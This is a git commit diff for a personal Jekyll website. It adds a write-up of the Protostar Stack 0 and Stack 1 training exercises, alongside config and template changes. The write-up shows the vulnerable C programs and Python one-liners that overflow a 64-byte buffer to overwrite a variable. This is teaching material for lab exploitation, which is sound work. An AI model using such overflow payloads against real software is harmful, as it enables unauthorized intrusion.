new site4
parent
dac869dc5d
commit
cabe6e0794
14
_config.yml
14
_config.yml
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@ -10,7 +10,8 @@ excerpt_separator: "[-----]"
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# mode: dev
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mode: product
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url: http://paul.walko.org/
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url: https://paul.walko.org/
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enforce_ssl: paul.walko.org/
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devurl: http://localhost:4000/
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name: Paul Walko
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title: Paul Walko
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@ -27,13 +28,9 @@ my:
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address:
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country: United States
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skills:
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security: ["Wireshark", "IDA", "Ollydebug"]
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security: ["Wireshark", "IDA", "GDB"]
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coding: ["C", "C++", "Python", "Java", "bash", "HTML"]
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tools: ["Linux"]
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collections:
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qqGroupGuide:
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output: true
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tools: ["Linux", "vim", "Arch Linux"]
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defaults:
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- scope:
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@ -41,8 +38,5 @@ defaults:
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type: "posts"
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values:
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excerpt: "{{ page.content }} | slice: 0 300"
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- scope:
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path: ""
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type: "qqGroupGuide"
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values:
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layout: markdownreader_bare
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@ -1,4 +1,9 @@
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<meta charset="utf-8">
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<script type="text/javascript">
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var host = "paul.walko.org";
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if ((host == window.location.host) && (window.location.protocol != "https:"))
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window.location.protocol = "https";
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</script>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="{% if page.excerpt %}{{ page.excerpt | strip_html | strip_newlines | truncate: 160 }}{% else %}{{ site.description }}{% endif %}">
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@ -29,6 +34,10 @@
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<script type="text/javascript" src="{{crturl}}javascripts/jquery.js"></script>
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<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
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<!--[if lt IE 9]>
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<script src="{{crturl}}javascripts/html5shiv.js"></script>
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<![endif]-->
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@ -37,7 +37,7 @@
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$('#dummySearch').submit(function(e) {
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e.preventDefault();
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keyword = $('#search').val();
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url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
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url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
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location.href = url;
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})
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})
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@ -1,7 +1,99 @@
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---
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title: "Protostar Exploit Exercises Solutions 0-3"
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title: "Protostar Exploit Exercises Solutions 0-1"
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layout: post
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category: writeup
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tags: [exploit-exercises, protostar, hacking]
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excerpt: "Walkthrough for Protostar exercises on exploit-exercises.com"
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---
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# Stack 0
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Here's what we're given:
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```
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#include <stdlib.h>
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#include <unistd.h>
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#include <stdio.h>
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int main(int argc, char **argv)
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{
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volatile int modified;
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char buffer[64];
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modified = 0;
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gets(buffer);
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if(modified != 0) {
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printf("you have changed the 'modified' variable\n");
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} else {
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printf("Try again?\n");
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}
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}
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```
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The first thing I took note of is the size of the `buffer`: 64 bytes. After that, the program inputs text for `buffer`, and then checks to see if you modified the `modified` variable.
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I'm guessing if I put in a string longer than 64 bytes it will work. Let's see:
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```
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$ echo `python -c 'print "A"*64'` | ./stack0
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Try again?
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```
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That works as expected, now with 65 bytes:
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```
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$ echo `python -c 'print "A"*65'` | ./stack0
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you have changed the 'modified' variable
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```
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Solved!
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# Stack 1
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Here's the code we're given:
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```
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#include <stdlib.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <string.h>
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int main(int argc, char **argv)
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{
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volatile int modified;
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char buffer[64];
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if(argc == 1) {
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errx(1, "please specify an argument\n");
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}
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modified = 0;
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strcpy(buffer, argv[1]);
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if(modified == 0x61626364) {
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printf("you have correctly got the variable to the right value\n");
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} else {
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printf("Try again, you got 0x%08x\n", modified);
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}
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}
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```
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Just like Stack 0, we're given a `buffer` array size 64 bytes and we're also asked to input the contents of it. Except it looks like modified has to equal `0x61626364` instead of just changing it like before.
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Keep in mind this is [little endian](https://en.wikipedia.org/wiki/Endianness), so I'll input the value in reverse order:
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```
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$ ./stack1 `python -c 'print "A"*64'`
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Try again, you got 0x00000000
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```
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That works as expected, now with the additional bytes:
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```
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$ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
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you have correctly got the variable to the right value
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```
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Woo!
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@ -5,6 +5,11 @@
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<html>
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<head>
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<meta charset="utf-8">
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<script type="text/javascript">
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var host = "paul.walko.org";
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if ((host == window.location.host) && (window.location.protocol != "https:"))
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window.location.protocol = "https";
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</script>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="Paul Walko's personal website">
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@ -35,6 +40,10 @@
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<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
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<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
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<!--[if lt IE 9]>
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<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
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<![endif]-->
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@ -81,7 +90,7 @@
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$('#dummySearch').submit(function(e) {
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e.preventDefault();
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keyword = $('#search').val();
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url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
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url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
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location.href = url;
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})
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})
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@ -5,6 +5,11 @@
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<html>
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<head>
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<meta charset="utf-8">
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<script type="text/javascript">
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var host = "paul.walko.org";
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if ((host == window.location.host) && (window.location.protocol != "https:"))
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window.location.protocol = "https";
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</script>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="Paul Walko's personal website">
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@ -35,6 +40,10 @@
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<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
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<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
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<!--[if lt IE 9]>
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<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
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<![endif]-->
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@ -81,7 +90,7 @@
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$('#dummySearch').submit(function(e) {
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e.preventDefault();
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keyword = $('#search').val();
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url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
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url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
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location.href = url;
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})
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})
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@ -5,6 +5,11 @@
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<html>
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<head>
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<meta charset="utf-8">
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<script type="text/javascript">
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var host = "paul.walko.org";
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if ((host == window.location.host) && (window.location.protocol != "https:"))
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window.location.protocol = "https";
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</script>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="Paul Walko's personal website">
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@ -35,6 +40,10 @@
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<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
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<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
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<!--[if lt IE 9]>
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<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
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<![endif]-->
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@ -81,7 +90,7 @@
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$('#dummySearch').submit(function(e) {
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e.preventDefault();
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keyword = $('#search').val();
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url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
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url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
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location.href = url;
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})
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})
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@ -139,7 +148,7 @@
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</div>
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<div class="col-lg-10 col-md-10 col-sm-10">
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-3</a></h2>
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
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<ul class="tags">
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<li><i class="fa fa-tag"> exploit-exercises</i></li>
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@ -5,6 +5,11 @@
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<html>
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<head>
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<meta charset="utf-8">
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<script type="text/javascript">
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var host = "paul.walko.org";
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if ((host == window.location.host) && (window.location.protocol != "https:"))
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window.location.protocol = "https";
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</script>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="Paul Walko's personal website">
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@ -35,6 +40,10 @@
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<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
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<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
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<!--[if lt IE 9]>
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<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
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<![endif]-->
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@ -81,7 +90,7 @@
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$('#dummySearch').submit(function(e) {
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e.preventDefault();
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keyword = $('#search').val();
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url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
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url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
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location.href = url;
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})
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})
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@ -107,7 +116,7 @@
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</div>
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<div class="col-lg-10 col-md-10 col-sm-10">
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-3</a></h2>
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
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<ul class="tags">
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<li><i class="fa fa-tag"> exploit-exercises</i></li>
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@ -6,13 +6,13 @@
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<url>
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<loc>http://paul.walko.org//writeup/nebula_exploit_exercises</loc>
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<lastmod>2016-06-15T00:02:53-04:00</lastmod>
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<lastmod>2016-06-15T01:05:43-04:00</lastmod>
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<changefreq>weekly</changefreq>
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</url>
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<url>
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<loc>http://paul.walko.org//writeup/test_post</loc>
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<lastmod>2016-06-15T00:02:53-04:00</lastmod>
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<lastmod>2016-06-15T01:05:43-04:00</lastmod>
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<changefreq>weekly</changefreq>
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</url>
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@ -5,6 +5,11 @@
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<html>
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<head>
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<meta charset="utf-8">
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<script type="text/javascript">
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var host = "paul.walko.org";
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if ((host == window.location.host) && (window.location.protocol != "https:"))
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window.location.protocol = "https";
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</script>
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<meta http-equiv="X-UA-Compatible" content="IE=edge">
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<meta name="viewport" content="width=device-width, initial-scale=1">
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<meta name="description" content="Paul Walko's personal website">
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@ -35,6 +40,10 @@
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<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
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<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
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|
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<!--[if lt IE 9]>
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<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
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<![endif]-->
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@ -81,7 +90,7 @@
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$('#dummySearch').submit(function(e) {
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e.preventDefault();
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keyword = $('#search').val();
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url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
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url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
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location.href = url;
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})
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})
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@ -167,7 +176,7 @@
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</div>
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<div class="col-lg-10 col-md-10 col-sm-10">
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-3</a></h2>
|
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
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<ul class="tags">
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<li><i class="fa fa-tag"> exploit-exercises</i></li>
|
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|
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@ -330,7 +339,7 @@
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</div>
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<div class="col-lg-10 col-md-10 col-sm-10">
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-3</a></h2>
|
||||
<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
|
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<ul class="tags">
|
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|
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<li><i class="fa fa-tag"> exploit-exercises</i></li>
|
||||
|
|
@ -425,7 +434,7 @@
|
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</div>
|
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<div class="col-lg-10 col-md-10 col-sm-10">
|
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-3</a></h2>
|
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<h2 class="title"><a href="/writeup/nebula_exploit_exercises">Protostar Exploit Exercises Solutions 0-1</a></h2>
|
||||
<ul class="tags">
|
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|
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<li><i class="fa fa-tag"> exploit-exercises</i></li>
|
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|
|
|
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|
|
@ -5,11 +5,16 @@
|
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<html>
|
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<head>
|
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<meta charset="utf-8">
|
||||
<script type="text/javascript">
|
||||
var host = "paul.walko.org";
|
||||
if ((host == window.location.host) && (window.location.protocol != "https:"))
|
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window.location.protocol = "https";
|
||||
</script>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
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<meta name="description" content="Walkthrough for Protostar exercises on exploit-exercises.com">
|
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|
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<title>Protostar Exploit Exercises Solutions 0-3</title>
|
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<title>Protostar Exploit Exercises Solutions 0-1</title>
|
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|
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<!-- favicon -->
|
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<link rel="apple-touch-icon" sizes="57x57" href="http://paul.walko.org/favicon/apple-icon-57x57.png">
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|
|
@ -35,6 +40,10 @@
|
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|
||||
<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
|
||||
|
||||
|
||||
|
||||
<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
|
||||
|
||||
<!--[if lt IE 9]>
|
||||
<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
|
||||
<![endif]-->
|
||||
|
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@ -85,7 +94,7 @@
|
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$('#dummySearch').submit(function(e) {
|
||||
e.preventDefault();
|
||||
keyword = $('#search').val();
|
||||
url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
|
||||
url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
|
||||
location.href = url;
|
||||
})
|
||||
})
|
||||
|
|
@ -100,7 +109,7 @@
|
|||
<div class="row">
|
||||
<div id="markdown-container" class="col-lg-9">
|
||||
<header>
|
||||
<p id="postTitle">Protostar Exploit Exercises Solutions 0-3</p>
|
||||
<p id="postTitle">Protostar Exploit Exercises Solutions 0-1</p>
|
||||
|
||||
<ul class="tags clearfix">
|
||||
|
||||
|
|
@ -116,7 +125,95 @@
|
|||
|
||||
</header>
|
||||
|
||||
<h1 id="stack-0">Stack 0</h1>
|
||||
|
||||
<p>Here’s what we’re given:</p>
|
||||
|
||||
<div class="highlighter-rouge"><pre class="highlight"><code>#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
volatile int modified;
|
||||
char buffer[64];
|
||||
|
||||
modified = 0;
|
||||
gets(buffer);
|
||||
|
||||
if(modified != 0) {
|
||||
printf("you have changed the 'modified' variable\n");
|
||||
} else {
|
||||
printf("Try again?\n");
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
</div>
|
||||
|
||||
<p>The first thing I took note of is the size of the <code class="highlighter-rouge">buffer</code>: 64 bytes. After that, the program inputs text for <code class="highlighter-rouge">buffer</code>, and then checks to see if you modified the <code class="highlighter-rouge">modified</code> variable.
|
||||
I’m guessing if I put in a string longer than 64 bytes it will work. Let’s see:</p>
|
||||
|
||||
<div class="highlighter-rouge"><pre class="highlight"><code>$ echo `python -c 'print "A"*64'` | ./stack0
|
||||
Try again?
|
||||
</code></pre>
|
||||
</div>
|
||||
|
||||
<p>That works as expected, now with 65 bytes:</p>
|
||||
|
||||
<div class="highlighter-rouge"><pre class="highlight"><code>$ echo `python -c 'print "A"*65'` | ./stack0
|
||||
you have changed the 'modified' variable
|
||||
</code></pre>
|
||||
</div>
|
||||
|
||||
<p>Solved!</p>
|
||||
|
||||
<h1 id="stack-1">Stack 1</h1>
|
||||
|
||||
<p>Here’s the code we’re given:</p>
|
||||
|
||||
<div class="highlighter-rouge"><pre class="highlight"><code>#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
volatile int modified;
|
||||
char buffer[64];
|
||||
|
||||
if(argc == 1) {
|
||||
errx(1, "please specify an argument\n");
|
||||
}
|
||||
|
||||
modified = 0;
|
||||
strcpy(buffer, argv[1]);
|
||||
|
||||
if(modified == 0x61626364) {
|
||||
printf("you have correctly got the variable to the right value\n");
|
||||
} else {
|
||||
printf("Try again, you got 0x%08x\n", modified);
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
</div>
|
||||
|
||||
<p>Just like Stack 0, we’re given a <code class="highlighter-rouge">buffer</code> array size 64 bytes and we’re also asked to input the contents of it. Except it looks like modified has to equal <code class="highlighter-rouge">0x61626364</code> instead of just changing it like before.</p>
|
||||
|
||||
<p>Keep in mind this is <a href="https://en.wikipedia.org/wiki/Endianness">little endian</a>, so I’ll input the value in reverse order:</p>
|
||||
|
||||
<div class="highlighter-rouge"><pre class="highlight"><code>$ ./stack1 `python -c 'print "A"*64'`
|
||||
Try again, you got 0x00000000
|
||||
</code></pre>
|
||||
</div>
|
||||
|
||||
<p>That works as expected, now with the additional bytes:</p>
|
||||
|
||||
<div class="highlighter-rouge"><pre class="highlight"><code>$ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`
|
||||
you have correctly got the variable to the right value
|
||||
</code></pre>
|
||||
</div>
|
||||
|
||||
<p>Woo!</p>
|
||||
|
||||
</div>
|
||||
|
||||
|
|
|
|||
|
|
@ -5,6 +5,11 @@
|
|||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<script type="text/javascript">
|
||||
var host = "paul.walko.org";
|
||||
if ((host == window.location.host) && (window.location.protocol != "https:"))
|
||||
window.location.protocol = "https";
|
||||
</script>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="description" content="This is an excerpt; please ignore">
|
||||
|
|
@ -35,6 +40,10 @@
|
|||
|
||||
<script type="text/javascript" src="http://paul.walko.org/javascripts/jquery.js"></script>
|
||||
|
||||
|
||||
|
||||
<link rel="canonical" href=" { { site.url } }{ { page.url } }" />
|
||||
|
||||
<!--[if lt IE 9]>
|
||||
<script src="http://paul.walko.org/javascripts/html5shiv.js"></script>
|
||||
<![endif]-->
|
||||
|
|
@ -85,7 +94,7 @@
|
|||
$('#dummySearch').submit(function(e) {
|
||||
e.preventDefault();
|
||||
keyword = $('#search').val();
|
||||
url = 'https://www.google.com.hk/search?q=site%3Apaul.walko.org+' + keyword;
|
||||
url = 'https://www.google.com/search?q=site%3Apaul.walko.org+' + keyword;
|
||||
location.href = url;
|
||||
})
|
||||
})
|
||||
|
|
|
|||
Loading…
Reference in New Issue